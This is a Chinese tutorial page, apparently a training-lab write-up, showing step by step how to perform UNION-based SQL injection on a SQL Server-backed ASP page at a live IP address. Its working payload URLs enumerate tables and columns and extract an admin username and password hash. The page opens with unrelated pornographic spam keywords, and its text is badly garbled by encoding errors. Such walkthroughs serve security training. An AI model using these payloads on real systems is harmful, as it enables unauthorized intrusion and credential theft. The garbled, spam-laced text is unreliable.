欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

sql?server數(shù)據(jù)庫如何進(jìn)行sql注入

 更新時(shí)間:2024年05月20日 11:19:26   作者:你擋我發(fā)光了  
這篇文章主要介紹了sql?server數(shù)據(jù)庫如何進(jìn)行sql注入,本文給大家介紹的非常詳細(xì),感興趣的朋友跟隨小編一起看看吧

1、判斷數(shù)據(jù)庫類型

抓包知sql server,所以注入語句跟MySQL有些區(qū)別

2、判斷注入點(diǎn)

“http://219.153.49.228:42514/new_list.asp?id=2 ”,當(dāng)id=2 and 1=1時(shí)顯示正確,id=2 and 1=2時(shí)頁面報(bào)錯(cuò)。

3、確定列數(shù)為 4

  • /new_list.asp?id=2 ORDER BY 1 成功
  • /new_list.asp?id=2 ORDER BY 2 成功
  • /new_list.asp?id=2 ORDER BY 3 失敗
  • /new_list.asp?id=2 ORDER BY 4 成功
  • /new_list.asp?id=2 ORDER BY 5 失敗
  • /new_list.asp?id=2 ORDER BY 6 失敗
  • /new_list.asp?id=2 ORDER BY 7 失敗

根據(jù)這些信息,ORDER BY 4 成功,而 ORDER BY 3 失敗,這看起來很矛盾,因?yàn)橐话銇碚f,如果 ORDER BY 3 失敗,ORDER BY 4 應(yīng)該也會(huì)失敗。

分析原因:

SQL查詢結(jié)構(gòu): 可能你查詢的SQL語句涉及了多個(gè)表連接或者子查詢,這會(huì)導(dǎo)致某些列存在而其他列不存在的情況。

自定義排序: 數(shù)據(jù)庫的查詢中可能存在自定義排序邏輯,某些列可能只在特定條件下可用。

***所以sql測試中,我們需要進(jìn)行更多測試以確認(rèn)列數(shù)

4、判斷回顯字段

這其實(shí)還要分兩種情況:

1、回顯的字段是字符型,還是整數(shù)型或其他

數(shù)據(jù)類型匹配

數(shù)據(jù)庫表中的列有特定的數(shù)據(jù)類型(如整數(shù)、字符串、日期等)。當(dāng)注入的值與列的數(shù)據(jù)類型不匹配時(shí),會(huì)導(dǎo)致SQL語法錯(cuò)誤或類型錯(cuò)誤。例如,如果某列期望一個(gè)字符串類型的數(shù)據(jù),而你傳入一個(gè)整數(shù),數(shù)據(jù)庫可能會(huì)報(bào)錯(cuò)。

SQL查詢構(gòu)造

SQL注入構(gòu)造的查詢語句需要與數(shù)據(jù)庫表的結(jié)構(gòu)和列類型匹配。使用單引號(hào)包裹的值通常被解釋為字符串類型,而不使用引號(hào)的值通常被解釋為數(shù)字或列名。

2、注入成功是要在頁面正常顯示情況下回顯字段,還是頁面報(bào)錯(cuò)情況下才會(huì)回顯字段

正常頁面:當(dāng)提供的id值有效時(shí),原始查詢會(huì)返回一個(gè)正常的結(jié)果集,頁面會(huì)顯示該結(jié)果。如果 UNION ALL SELECT 注入成功,并且注入的列恰好在顯示內(nèi)容中,那么注入的結(jié)果可能會(huì)被id值結(jié)果覆蓋。錯(cuò)誤頁面:當(dāng)提供的 id 值無效時(shí),原始查詢失敗,頁面可能顯示錯(cuò)誤信息或沒有結(jié)果。在這種情況下,注入的 UNION ALL SELECT 可能成為唯一的結(jié)果集,因此被顯示出來。

思路

①先假設(shè)為全部字段為字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。發(fā)現(xiàn)并沒有回顯

②id=-2時(shí),頁面報(bào)錯(cuò),所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'?;仫@2、3字段

到這已經(jīng)可以判斷出2、3字段是字符型,并且頁面有報(bào)錯(cuò)信息時(shí)才有回顯,否則被內(nèi)容覆蓋

然后判斷1、4字段類型,需要一個(gè)一個(gè)去除單引號(hào),判斷其回顯情況

5、獲取數(shù)據(jù)庫信息

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4

6、獲取數(shù)據(jù)表名manage

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

7、獲取列名:id、name

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4

以此類推,獲取第3個(gè)字段,第4個(gè)字段

8、查出用戶名和密碼

用戶名:admin_mz、加密密碼:72e1bfc3f01b7583

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4

9、md5解密

9、總結(jié)

1、判斷數(shù)據(jù)類型是很重要的一點(diǎn),影響后面的注入語句

2、確定列數(shù)時(shí),要多測幾組數(shù)據(jù),從而分析判斷列數(shù),并不是遇到第一個(gè)報(bào)錯(cuò)就停止測試

3、正常網(wǎng)頁(例如id=1,參數(shù)正確)沒有注入回顯時(shí),試試報(bào)錯(cuò)情況(id=-1),注入回顯有可能被正常返回?cái)?shù)據(jù)覆蓋

4、注入回顯的字段有可能整形、字符、小數(shù)等,注意是否需要單引號(hào)

5、最好先全部統(tǒng)一會(huì)先字段類型,比如全部整形,挨個(gè)輪流改變?yōu)樽址?/p>

到此這篇關(guān)于sql server數(shù)據(jù)庫如何進(jìn)行sql注入的文章就介紹到這了,更多相關(guān)sql server數(shù)據(jù)庫sql注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論